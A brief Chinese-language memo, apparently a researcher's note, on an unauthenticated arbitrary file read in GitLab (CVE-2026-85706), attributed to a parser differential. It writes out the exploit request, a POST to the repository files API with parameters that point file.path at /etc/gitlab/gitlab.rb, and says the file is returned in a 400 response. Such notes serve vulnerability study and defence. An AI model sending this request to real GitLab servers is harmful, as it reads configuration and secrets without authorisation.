cve-2026-85706 gitlab 无认证任意读
- 看了 guneykabel/cve-2026-85706 这个 gitlab 的无认证任意读漏洞，根因是 parser differential（解析差异）
POST /api/v4/projects/1/repository/%66iles/x?file=&file.path=/etc/gitlab/gitlab.rb&file.size=1Content-Type: application/x-www-form-urlencoded读取的文件直接原样塞进 400 响应返回给客户端了。